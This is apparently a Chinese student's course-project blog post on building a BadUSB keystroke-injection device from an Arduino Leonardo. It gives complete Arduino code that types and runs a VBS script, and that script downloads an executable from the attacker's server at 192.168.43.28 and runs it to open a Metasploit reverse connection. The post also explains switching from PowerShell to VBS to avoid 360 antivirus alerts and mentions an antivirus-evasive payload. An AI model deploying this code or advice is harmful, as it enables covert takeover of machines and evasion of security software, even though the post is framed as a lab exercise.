20155213免考项目——简易的HIDAttack

20155213免考项目——简易的HIDAttack

听5214说他作不出来本身的免考项目,因而就转向bof进阶,而且成功作出了64位的ROP攻击......
既然如此,那我就再作一个吧,但都已经期末了,就选择了一项入手简单的HID攻击的东西,就这么作了一个简易的HIDAttack,没有深研究过,确定有不少叙述不周到,作法有问题,还请原谅我这个小caiji。html

0x01 介绍

BadUSB原理

我这里作的HIDAttack选择的是BadUSB那一项,先简单介绍一下HID是啥,Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等,具体的解释能够百度,多得很。这里能用到的信息就是若是逆向编程使用HID的设备,就能够实现,随意变换计算机识别的设备类型。shell

TEENSY介绍

攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个很是小并且功能完整的单片机开发系统,它的名字叫TEENSY。经过TEENSY你能够模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就能够向主机发送控制命令,从而彻底控制主机,不管自动播放是否开启,均可以成功。编程

我选择的USB设备是一块Arduino板子,是LEORADO型的,其余的不能用除了Micro型(很小很便宜)的,淘宝上能够买的到。
bash

0x02 编译上传&exploit

这里咱们跳过Arduino编程和后面将要使用到的powershell编程和VBS编程介绍内容,网上不少不少函数

具体流程

  1. 使用arduino里面的Keyboard模块编写一个脚本,用该脚本下载运行远程恶意程序
  • 使用的脚本是VBS脚本,Windows里面自带有解释VBS脚本的解释器(WScript.exe)
  • 使用VBS是本身想到的,网上教程使用的是PowerShell的下载功能,(Powershell是一种相似bash的终端程序)
  1. 在远程Kali开启Apache服务,并上传恶意程序,用以提供下 载
  2. 开启msf,并设置运行反弹链接模块
  3. 编译上传arduino代码到板子上,拔插USB数据线,此时arduino板子会自动运行以前烧进去的代码
  4. 静坐等待就行了

代码解析

#include <Keyboard.h>

void setup() {
  delay(3000);
  Keyboard.begin();
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();
  delay(100);
  Keyboard.println("cmd /c powershell");
  delay(100);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(1000);
  Keyboard.println("notepad ");
  delay(1000);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  Keyboard.press(KEY_LEFT_SHIFT);

  delay(1000);
  Keyboard.println("on error resume next \nSet Post = CreateObject\(\"Msxml2.XMLHTTP\"\)\nSet Shell = CreateObject\(\"Wscript.Shell\"\)\nPost.Open \"GET\",\"http://192.168.43.28/bd5213.gif\",0\nPost.Send\(\)\nSet aGet = CreateObject\(\"ADODB.Stream\"\)\naGet.Mode = 3\naGet.Type = 1\naGet.Open\(\)\naGet.Write\(Post.responseBody\)\naGet.SaveToFile \"d:\\bd5213.exe\",2\nwscript.sleep 1000\nShell.AppActivate \"C:\\Windows\\system32\\CMD.exe\"\nShell.SendKeys \"exit~\"\nShell.Run \(\"d:\\bd5213.exe\"\)");
  delay(1000);
  Keyboard.release(KEY_LEFT_SHIFT);
  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press('s');
  Keyboard.releaseAll();
  delay(500);
  Keyboard.println("bd5213.vbs ");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press(KEY_F4);
  Keyboard.releaseAll();
  delay(500);
  Keyboard.println("./bd5213.vbs ");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);

}

void loop() {
  // put your main code here, to run repeatedly:

}

Arduino的Keyboard模块编程也就以下这几个函数oop

#include<Keyboard.h>  //包含键盘模块的头文件

Keyboard.begin();  //开启键盘通讯

Keyboard.press();  //按下某个键

Keyboard.release(); //释放某个键

Keyboard.println(); /*输入某些内容 和一些网上的解释不一样 网上解释是输入内容而且能回车,而我测试的时候并不能回车 可能和版本有关 不要不要担忧有办法回车*/

Keyboard.end();  //结束键盘通讯
  • 这里说一下上面的逻辑,就是先打开运行,而后输入cmd /c powershell,即运行powershell,随后用其打开一个txt文件,向里面输入vbs脚本代码(脚本文件后面具体解释),键入CTRL+Sbd5213.vbs保存文件,关闭txt文本窗口,在刚才的终端里运行脚本文件。测试

  • 上面的VBS脚本文件,主要是用来下载远程的恶意程序的并运行的,规范一下写法ui

on error resume next
sET pOST = cREATEoBJECT("mSXML2.xmlhttp")
sET sHELL = cREATEoBJECT("wSCRIPT.sHELL")
pOST.oPEN "get","HTTP://192.168.43.28/BD5213.GIF",0
pOST.sEND()
sET AgET = cREATEoBJECT("adodb.sTREAM")
AgET.mODE = 3
AgET.tYPE = 1
AgET.oPEN()
AgET.wRITE(pOST.RESPONSEbODY)
AgET.sAVEtOfILE "D:\BD5213.EXE",2
WSCRIPT.SLEEP 1000
sHELL.aPPaCTIVATE "c:\wINDOWS\SYSTEM32\cmd.EXE"
sHELL.sENDkEYS "EXIT~"
sHELL.rUN ("D:\BD5213.EXE")
  • 代码都是字面意思,主要说一下第一句和倒数第三句
    • 第一句说的是,若是运行出错,但不报错,并继续往下运行,这样作的好处是防止运行时出问题,调出一个提示框code

      那就有点尴尬了。
    • 倒数第三句是将目前桌面焦点放到指定的正在运行的程序上,这里的目的是为了关闭不用的终端视频

  • 有几个细节须要说一下:
    • arduino代码里须要开启大写键,是为了防止中文输入,这也致使写在txt文件里的代码大小写很乱(原本想按住shift键强制转换结果仍是乱的),但不影响,WScript并不care大小写问题
    • 网上教程都是用powershell来下载恶意程序的,可是powershell被360监视的太狠了,每次下载都要报提示,但VBS下载就不会,使用的是HTTP的get,且没有被监视,因此就换成了VBS的

exploit就很少说了,使用的是实验三作了免杀的一个程序

0x03 操做实现

完成上述过程后,插入USB便可,我录了一段视频,简单感觉一下粗犷的攻击方式

视频连接

相关文章
相关标签/搜索